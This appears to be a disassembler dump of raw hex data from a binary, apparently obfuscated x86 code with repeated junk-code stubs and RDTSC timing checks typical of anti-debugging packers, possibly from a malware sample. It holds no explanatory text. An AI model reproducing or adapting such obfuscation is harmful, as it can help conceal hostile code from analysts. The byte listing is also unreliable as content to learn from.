		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h
		dd 664AD576h, 8E59C781h, 17D5858Bh, 6A0628h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0D6B92FC3h
		dd 89FC8957h, 282CCD9Dh, 0C4868906h, 8B000000h,	28071595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0EED2B7C6h, 0D48C44B0h, 9E9h, 90773C00h
		dd 3688A078h, 0C2835015h, 38A0F04h, 57000000h, 50895FF9h
		dd 53006A20h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F2B766ACh, 8B581F22h, 2806319Dh, 1135BB06h
		dd 858D369Ch, 62BB8D9h,	0CE9h, 0C4C50600h, 0F4F167BDh
		dd 236D813Bh, 0B8868912h, 60000000h, 0B20639B8h, 958D3140h
		dd 61062802h, 8166006Ah, 0FF647AD3h, 2BA3FDB5h,	0FFFA8B06h
		dd 282CD195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DDCB47h,	8BC1F979h, 282D8D9Dh, 0CE85006h
		dd 51000000h, 28AAC116h, 0A325E51Dh, 0F982FF8h,	68Eh, 840F00h
		dd 5F000000h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 5E1CC353h, 0B70FEE82h
		dd 0FDB5FFFFh, 29062BA3h, 28078DBDh, 0B995FF06h, 0F062829h
		dd 281h, 8323B300h, 280C55BDh, 840F0006h, 59h, 0E851006Ah
		dd 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 28C35141h, 0C9D18EEEh, 38530E1Eh
		dd 525096B2h, 475A7BFh,	0F310F41h, 0F84h, 0AE900h, 0DA5C0000h
		dd 2CE64552h, 0AD315863h, 6050585Ah, 5810Fh, 0BAB90000h
		dd 0B00E236Fh, 8B9661C9h, 0FDB5FFDAh, 0BF062BA3h, 3BA0E8Eh
		dd 228595FFh, 0DE90628h, 0E9000000h, 55D29C04h,	18A68EBDh
		dd 0B1AAF083h, 0A3FDB5FFh, 0B529062Bh, 62802E5h, 10C195FFh
		dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 2AE11BC3h, 33D8DCF9h, 57629391h, 10E8h, 1B7A3800h
		dd 9FB3F0C2h, 8B827D30h, 5DD1BAE1h, 8A0FCDh, 5F000000h
		dd 61BD835Fh, 2062818h,	3E840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 96745C3h
		dd 8DCECA12h, 8B062F26h, 28125985h, 0C6F806h, 60D88B00h
		dd 26E5BD0Bh, 81660628h, 6165F9E9h, 130585C7h, 628h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 426C8FC3h, 0CCC53EFDh, 0F98B660Eh, 0DEE9F9FCh
		db 0F3h, 0FFh
word_594F42	dw 6AFFh		; DATA XREF: ___:00438C88o
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 6CA3C357h, 421D9FF6h, 0E9527F04h,	0Eh, 0AA5D1C9Eh
		dd 0F0367D3Ch, 0F87C1E87h, 8B5F865Eh, 0BE9C1h, 3D610000h
		dd 0B72A3F10h, 6636AB86h, 5858D69h, 6A06282Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E806C356h, 0Ch, 2D1F9DF3h, 8DBE34C8h, 0FA475B96h, 0BE9505Fh
		dd 0FA000000h, 44AB3CF8h, 0C475CF19h, 48999EDh,	0F2BF6624h
		dd 6A006A6Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0FB04C351h, 8084894Fh,	6AB1D7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B7C35646h
		dd 8E90656h, 95000000h,	4834821Ch, 8DBBB462h, 2CBE6F85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 3DDAC975h, 0E9F35F1Bh, 14h, 563A32EDh, 872AAFC3h
		dd 926D7638h, 25D80ED5h, 0BAEF8438h, 6A05C083h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 50ECC353h, 0CE8h, 0A5C65100h, 7FD5ED48h, 0E5A1573Eh
		dd 14E8B1h, 1C9F0000h, 52B0AC8Ch, 0B4E01C53h, 0C41B24A1h
		dd 0D30466BBh, 5250109Fh, 585A310Fh, 4895F5Fh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 6AC08Ah, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	27C35141h, 28CA9C5Ch, 549ED13Dh, 56006A28h, 0ED1BD89h
		dd 0FF5B0628h, 28243195h, 0F38D8D06h, 6A062B94h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0CAF3C353h, 26E344A5h, 0FFF6A955h, 0DE8B66D1h, 2415BD83h
		dd 0F010628h, 6385h, 0DE800h, 37750000h, 4EA4A5EAh, 0E43BA990h
		dd 1982D6Fh, 282AE995h,	0BD8B5B06h, 6280EB9h, 8060026Ah
		dd 5061E9EEh, 529D73BFh, 24048962h, 6E9h, 6036D00h, 0FF693E39h
		dd 282CD195h, 11E806h, 5F570000h, 0D1525DFh, 99F9614Ah
		dd 0B73FD324h, 89ECE105h, 2810558Dh, 0BD035B06h, 6283399h
		dd 0E9EE9h, 0E800h, 815D0000h, 2CBE79EDh, 119D0306h, 89062801h
		dd 280829B5h, 0D8B70F06h, 85B0858Dh, 9529062Bh,	628326Dh
		dd 6650D98Bh, 89DCBEBBh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 9F3DF6C3h, 6B9B33DAh
		dd 0BF0FCD8Ch, 35FF64F9h, 0
		dd 64F8C780h, 2589h, 0FB8B0000h, 165985FFh, 0BE80628h
		dd 0D4000000h, 1BFED542h, 25400106h, 9D2BB710h,	62817B5h
		dd 8BFF6A5Bh, 28272DBDh, 0C9B5FF06h, 6A062826h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0D1A7C356h, 6B6D9920h, 0AE8610AEh, 4E19D8Bh,	95FF0628h
		dd 6282DC1h, 127E9h, 8D896000h,	6281E9Dh, 2037B866h, 0E800B061h
		dd 0Dh,	29A8946Dh, 428C2A12h, 9C8071DDh, 8E9CEh, 49C00000h
		dd 56BE2F6Eh, 0E65BCF6Fh, 10E970h, 0D3870000h, 6C948130h
		dd 0BB236411h, 821231B7h, 71E4219Ah, 0BD29F98Ah, 62832D9h
		dd 830F613Ch, 0D0h, 24198D89h, 0B60F0628h, 6870FC8h, 29000000h
		dd 28104585h, 6BA06h, 95890000h, 6281F21h, 0BD8BC18Bh
		dd 6282CE9h, 0BB04E8C1h, 1107ED99h, 60E2F766h, 0D78087B0h
		dd 0C82B6148h, 35C38166h, 89D18BC3h, 28180595h,	82E906h
		dd 8D890000h, 6280521h,	8858Bh,	0C0830000h, 0F88B6607h
		dd 4870Fh, 0BB660000h, 0C083EB91h, 5E900h, 0C0390000h
		dd 3B2E337Fh, 1A830FD0h, 0E9000000h, 0Dh, 32967240h, 3DDAC975h
		dd 0B5F35F1Bh, 3AE9E9h,	8B660000h, 0FF8D8BDAh, 9FFFFFFh
		dd 2821B59Dh, 1E18306h,	22840Fh, 0F88B0000h, 6099D8Bh
		dd 0A5830628h, 0FFFFFFFFh, 89DD8AFEh, 895h, 0FBBF6600h
		dd 0E9F98BA3h, 0
		dd 35C7B58Dh, 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 88F05C3h, 17840FDCh, 0E9000000h
		dd 12h,	0A450AB58h, 0A4FB0B4Bh,	3F46F8D4h, 0B06C45C0h
		dd 8D0F3A92h, 4, 7604BF66h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 78EAA0C3h
		dd 0AE8D75Ah, 9C000000h, 0FE6D2A5Dh, 44003263h,	25BD8BDCh
		dd 5F06280Fh, 4225DB81h, 95FF7868h, 6280465h, 0D92CD781h
		dd 5EB9731Dh, 0E900000Fh, 13h, 590E0473h, 1AE799BAh, 0AFEE225h
		dd 0E6C9091Ch, 830201B8h, 870FFCE1h, 6,	2BC59D89h, 6AFC0628h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4921C356h, 52D442BFh, 0D860F59h, 0E9000000h
		dd 8, 0BF24C526h, 60862A2Ch, 0B8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 98D741ACh
		dd 2B5BEB80h, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0B360DADAh, 1730190Fh, 22BB660Bh
		dd 11BD295Eh, 0AD062832h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0F285C356h, 10E9h, 99BB7D00h, 0EEF06706h
		dd 64540A26h, 92D0C044h, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0B5ED9C8h, 2804A1BDh
		dd 880D06h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 180424h, 55450000h, 7AC146C3h, 958B80DAh, 6280715h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 82C35747h
		dd 0EC430C2Bh, 896B9560h, 282009B5h, 35BD8906h,	8B062832h
		dd 2821BD8Dh, 59BD8B06h, 50062829h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 70799984h
		dd 56006ADEh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 633F1F9Fh, 663E3CBDh, 0BD83F88Bh, 62825A1h
		dd 61840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0B05EC355h,	18B6E4D4h
		dd 8B4E27B3h, 0B8D8h, 0BEB30000h, 4F6E8D8Dh, 0D7800628h
		dd 6AE1FF97h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0BCAEC353h, 920DEDF0h,	9D2B92B5h
		dd 6283365h, 113DBD83h,	0F000628h, 4E784h, 0FBBF0F00h
		dd 113DBD83h, 0F010628h, 4F284h, 0C3816600h, 9D8B32E1h
		dd 628196Dh, 113DBD83h,	0F030628h, 4A486h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0FE8AA9EAh, 55006A60h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0EFED6ABCh, 3880F8Dh
		dd 80000000h, 8C6699DBh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 793A17E9h, 49B27413h
		dd 13E8h, 0B2161000h, 0C68B2923h, 4CFD58CFh, 3CA38994h
		dd 342E5424h, 6AC86ABFh, 0E1805F6Fh, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0CC2DF46h
		dd 0BBECCA48h, 37C121h,	840FC90Ah, 15Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0C9C35242h, 3FCB1988h
		dd 499D897Fh, 8B06281Dh, 2824C985h, 0B9BB6606h,	68F0F05h
		dd 8B000000h, 281F299Dh, 5853306h, 6606282Dh, 586C781h
		dd 0E9525050h, 0Dh, 0AFEA613Dh,	70A636EBh, 42552965h, 5A310F8Ch
		dd 24048958h, 0AFDF8166h, 6A006AA2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 8E68C355h
		dd 0CCF2516Bh, 8195E5CDh, 51AEEDFh, 0EE802h, 53FD0000h
		dd 8C97D4D1h, 59D75859h, 514DE381h, 14E19D33h, 685F0628h
		dd 0F080BCF1h, 481FC8Ah, 9E470E24h, 53006A0Fh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 53162391h
		dd 68B0Fh, 9D890000h, 6282B91h,	176D95FFh, 6A0628h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F606CC3h, 680h, 25BD2300h, 0E806281Dh, 0Dh,	58CC8F89h
		dd 0C694F390h, 6B4D2DC2h, 599531CEh, 5806281Ah,	0DBBF0F61h
		dd 12E9h, 44A80900h, 481F52C4h,	0D7B183E7h, 0F990FEC8h
		dd 89FA071Ah, 2BA3FD85h, 0E9DE8A06h, 1D8h, 8BFBBF0Fh, 2BA3F585h
		dd 0FB8B6606h, 1800C7h,	85290000h, 6280455h, 0A3F9B58Bh
		dd 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0D6F4C6C3h, 344D9D23h, 858B0628h,	6282B65h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B4C35646h
		dd 893FC5C3h, 2D6B5A14h, 58F0Fh, 81660000h, 895383D7h
		dd 0CE806h, 0E65B0000h,	0CBEDCEEAh, 44C8DD43h, 8D89E6E4h
		dd 6282D09h, 0C9858B5Bh, 6A062824h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2885C353h
		dd 0C5C9F65Eh, 9D29201Dh, 6282735h, 96044689h, 52506060h
		dd 585A310Fh, 61D78B66h, 0D948B866h, 0BB665061h, 6696F2E8h
		dd 0B5FFD98Bh, 62BA3F5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 79C35747h, 4F689307h,	0B7417884h, 24348178h
		dd 416787B0h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	73C35646h, 9CE67581h, 0F211F234h, 0FD858D8Ch, 6A062BA3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 761BC355h, 0DB4ADFBEh, 85B79008h,	0E9525050h
		dd 9, 15D5E389h, 0C57E557Dh, 0B7310F0Ch, 90585A3Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 59C35545h, 0BEE58CA3h
		dd 0B3698F4Ch, 0DBB70F55h, 176D95FFh, 6A0628h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 343835C3h, 8A0AD42Eh, 191DBD8Bh, 5E90628h, 0CC000000h
		dd 4610F6Bh, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66879C07h, 85C7D98Bh, 628113Dh, 3
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D5C35747h
		dd 4CAE2FDEh, 9D09C21Fh, 6281239h, 0A3FDBD83h, 0F00062Bh
		dd 5484h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 2E7DE471h, 5BBB87C3h, 47E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 9D5532B6h, 4D9D8941h, 29062800h, 2818ADB5h, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 4DC35141h, 0BD89B9DAh, 6280E05h, 113DBD83h
		dd 0F030628h, 45785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 1747AEF8h, 2CE024D8h
		dd 14E955h, 60140000h, 4136CC6Dh, 91C3A0B9h, 0E555CA03h
		dd 0A4D4F0EDh, 0BD83D0DFh, 62BA3FDh, 0D840F00h,	6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 395CC356h, 0A2228744h, 0FF0EF47Eh, 2BA3FDB5h
		dd 0FFF6B306h, 280E9595h, 0B58BF906h, 62BA3F1h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A1C35040h, 8B6414A3h
		dd 2820F1BDh, 106C706h,	89000100h, 2804F9BDh, 34895006h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 709FF369h, 0F1DB589h, 0B5FF0628h, 62BA3FDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0E2C35040h
		dd 0F58DDC7Ch, 201995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0E6402CC3h, 66E65CB1h
		dd 0B58BF98Bh, 62BA3F1h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0B0C35141h, 0A5CC6A15h, 8B396BD6h, 2817D585h
		dd 8689F506h, 0C4h, 958BFB8Bh, 6280715h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 46C35141h, 0FCF88B4Eh
		dd 0B04C283h, 2806D9BDh, 20508906h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0D2C35646h,	2CE3EA4Dh, 2EF99D8Bh
		dd 0BD8B0628h, 62810C5h, 0B8D9858Dh, 6A062Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C91037C3h
		dd 8B0E386Fh, 281985BDh, 0B8868906h, 0F000000h,	0A8Fh
		dd 5F566000h, 7C58D29h,	6A610628h, 89BD8B00h, 0FF062818h
		dd 2BA3FDB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0C2A5C05Fh, 0FFB5E78Ah, 282CD195h
		dd 58F0F06h, 0BF000000h, 70B97B69h, 0E9525096h,	0Ah, 0BB136690h
		dd 0E3CEC8C7h, 310FA3B0h, 830F60h, 66000000h, 5A61F78Bh
		dd 66605058h, 0E8DA54BFh, 9, 7C9784Fh, 0A2B5A2A3h, 5B616087h
		dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 7247A3C3h, 28F98D89h, 0DF810628h,	50B40E31h
		dd 0A3FDB5FFh, 9589062Bh, 62833C5h, 29B995FFh, 0DF800628h
		dd 55BD83DBh, 6280Ch, 40840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 752780C3h
		dd 0F52F6BACh, 6096C3F5h, 10E9h, 4787CF00h, 0DA006866h
		dd 2C25843Eh, 3AF23F28h, 0B7506116h, 0B5FF96D5h, 62BA3FDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F2C35545h
		dd 0D5B1D146h, 0FEB70FABh, 0D3E38157h, 5F6E172Bh, 228595FFh
		dd 8B660628h, 0FDB5FFDEh, 60062BA3h, 11499D8Bh,	61F80628h
		dd 13E9h, 7CBA3A00h, 79723574h,	0D1BDB1Bh, 0A84D1880h
		dd 959CFDA8h, 10C195FFh, 6A0628h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0A8A3D5C3h, 8348402Eh
		dd 281861BDh, 840F0206h, 81h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0CCC35242h,	0A30DBB66h, 1259858Bh
		dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 875BD6C3h, 13E843h, 6100000h, 1EBF4678h
		dd 268BC9A4h, 3ED15D0Dh, 4FA404B1h, 5FDF8B18h, 6A0000C6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2044C352h, 585C752h, 62813h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 39B6C353h, 0CFE7B40Eh, 9529A5F3h, 6281185h, 0FFF200E9h
		dd 8E8FFh, 0F4B80000h, 0F39FEC10h, 0BD290075h, 6282319h
		dd 8DC18B5Bh, 282C0585h, 52505006h, 0C54642BFh,	0B7310F70h
		dd 89585ADFh, 6A2404h, 159D8Bh,	6A0628h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 8CC35040h, 0AE17BDB4h
		dd 0EE9h, 34310100h, 0A61EF131h, 0E1C4E928h, 8DA8097Dh
		dd 2CCEFF85h, 83FB8B06h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 82CC99C3h, 80BE3F04h
		dd 0E950FAE7h, 0Ah, 6ADC2377h, 89988A8Dh, 489CC8Fh, 0E7816624h
		dd 6A55CAh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	98C35747h, 99BD8964h, 6A062829h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 32865CD1h, 7C9D3E05h, 830Fh,	8D890000h, 62806BDh, 243195FFh
		dd 7E80628h, 3E000000h,	25CCEAACh, 5EB3CEA4h, 7E85Fh, 0AFA30000h
		dd 6296A28Ah, 0B19D8B82h, 5B062820h, 94F38D8Dh,	860F062Bh
		dd 3, 0FFDF8B66h, 5850FD1h, 0BF000000h,	16867B31h, 2415BD83h
		dd 0F010628h, 0AB85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 633BAEA4h, 6A026Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 732D60C3h, 0E5DA614Dh, 0BB2DBB66h, 0D88B6690h, 53525050h
		dd 0F5BECB7h, 90585A31h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 3DC35242h, 34F992C9h,	17FDBD89h, 0CDBB0628h
		dd 0FF40103Dh, 282CD195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 406FC1D5h
		dd 0B78F1C3h, 0E8EE9h, 0E800h, 815D0000h, 2CCF09EDh, 2D8D3106h
		dd 6A062833h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5051C353h, 9D8B88EAh, 6281A45h
		dd 85B0858Dh, 14E9062Bh, 8A000000h, 675849C2h, 0C7FEE962h
		dd 80A1F895h, 0A5BA5D6Ch, 5026CFF4h, 3810Fh, 8B660000h
		dd 240489D8h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	82C35545h, 0EDBD8969h, 64062828h, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D15C4AC3h, 97BAF70Fh, 7776EF81h, 0E7812F7Dh, 0C5DBBBDh
		dd 258964h, 0FF000000h,	28165985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D89C24Bh
		dd 6283399h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BF97EC3h, 281055BDh, 15B5FF06h
		dd 6A062811h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0BD3FC350h, 7E8h, 0CF400B00h
		dd 367ED432h, 5E9h, 4D4A0100h, 0FF5BEE52h, 282DC195h, 119E906h
		dd 0BD890000h, 628327Dh, 8ED8BB66h, 0BB6600B0h
		dd 0FA8B40A0h, 0B58970E6h, 62820A1h, 719D8B53h,	5B062809h
		dd 870F71E4h, 9, 38F0Fh, 0BF0F0000h, 0F613CF8h,	0DE83h
		dd 5850900h, 0F062800h,	0D8BBC8B6h, 0BA4DFB00h,	6, 66FDF780h
		dd 0C18BF88Bh, 6860Fh, 8D290000h, 6280EDDh, 6604E8C1h
		dd 0F766D98Bh, 0D9B529E2h, 2B062826h, 0FE9C8h, 3B420000h
		dd 47851A47h, 5F1A21F4h, 0ABC17978h, 8D0960CBh,	6281F75h
		dd 32998D01h, 8B610628h, 0DF8B66D1h, 7AE9h, 858BF900h
		dd 1, 0B4E78BBBh, 7C0832Fh, 0FE5BD2Bh, 0C0830628h, 0F98B6600h
		dd 830FD03Bh, 27h, 69DF8166h, 0FE8DEh, 6AEA0000h, 1C25F42Bh
		dd 0D2A429F2h, 252EE7EDh, 852953BEh, 62800A9h, 30E95B5Fh
		dd 8B000000h, 0FFFFFF8Dh, 1E183FFh, 21840Fh, 85890000h
		dd 62817A9h, 0FFFFA583h, 0FFEFFFFh, 9589F8BFh, 1, 0EC18531h
		dd 0E90628h, 8D000000h,	2C4525B5h, 0A5BD2306h, 6A062832h
		dd 7D9D8B00h, 0FF062829h, 28046595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 2BBEAAC7h
		dd 0EE9h, 0D82E7000h, 0D07E66C5h, 56FECC0h, 0BFD4AD69h
		dd 58D49BADh, 24B8BF66h, 0EC8B9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 3FDE65BFh
		dd 10E952h, 0AB690000h,	959DC1F3h, 7E096B06h, 57AF0611h
		dd 835BCC98h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FC7E61C3h, 1061BD89h, 0C02B0628h
		dd 8E9h, 547BC00h, 0BAF48AF1h, 0FD22B76h, 33ADDBB7h, 3E8D1C2h
		dd 4E983D0h, 9D89F475h,	6280F81h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0B9C35343h,	95D9612Ah, 20DA1A9Ah
		dd 4EBB6608h, 880DD4h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 80DECCC3h, 0FC515883h
		dd 958BD98Bh, 6280715h,	20D1BD8Bh, 8D8B0628h, 62821BDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0FC35545h
		dd 518A3CC9h, 0B36F0A03h, 13E8ECh, 94EF0000h, 0CE8630A2h
		dd 0C393E091h, 0D0AF091Ah, 7F49636Bh, 6840F02h,	89000000h
		dd 280171B5h, 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0DEC35040h, 33D45C5Fh, 2812AD9Dh, 5E906h, 7C3A0000h
		dd 835044F4h, 2825A1BDh, 840F0006h, 56h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 2C35747h, 4A469DB8h
		dd 2E999D31h, 0B80628h,	23000000h, 281315BDh, 6E8D8D06h
		dd 2306284Fh, 280D499Dh, 0E9E1FF06h, 12h, 349003B7h, 0C49262C6h
		dd 43BC0F90h, 1F18ADCh,	0BD833739h, 628113Dh, 50840F00h
		dd 83000004h, 28113DBDh, 840F0106h, 45Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 74C35747h, 83F2F346h
		dd 28113DBDh, 860F0306h, 3FCh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0C7C35545h,	2BDF81E0h, 604BB87Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 72C35545h
		dd 0E7816699h, 8C666E56h, 11E9D9h, 20450000h, 0DEC2F1CDh
		dd 0C71EA03Eh, 69D01DF5h, 80E9D842h, 6A04E1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 159F7EC3h
		dd 0FC90AFFh, 11284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F97F9054h, 24C9858Bh
		dd 0F88B0628h, 2D058533h, 2DBF0628h, 903316BFh,	6ABF6650h
		dd 6A9094h, 3D958B60h, 8906281Ah, 28111D8Dh, 4E86106h
		dd 0FF000000h, 50001F03h, 5F5F5650h, 424448Bh, 8BFE8B66h
		dd 0C880F00h, 0E9000000h, 7, 48FE304Ah,	8913C71Ch, 60042444h
		dd 0D98A5250h, 47B1310Fh, 5861585Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0F3C35141h,	89334E99h, 2811958Dh
		dd 6D95FF06h, 6A062817h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7199C353h, 89A6E404h
		dd 2BA3FD85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
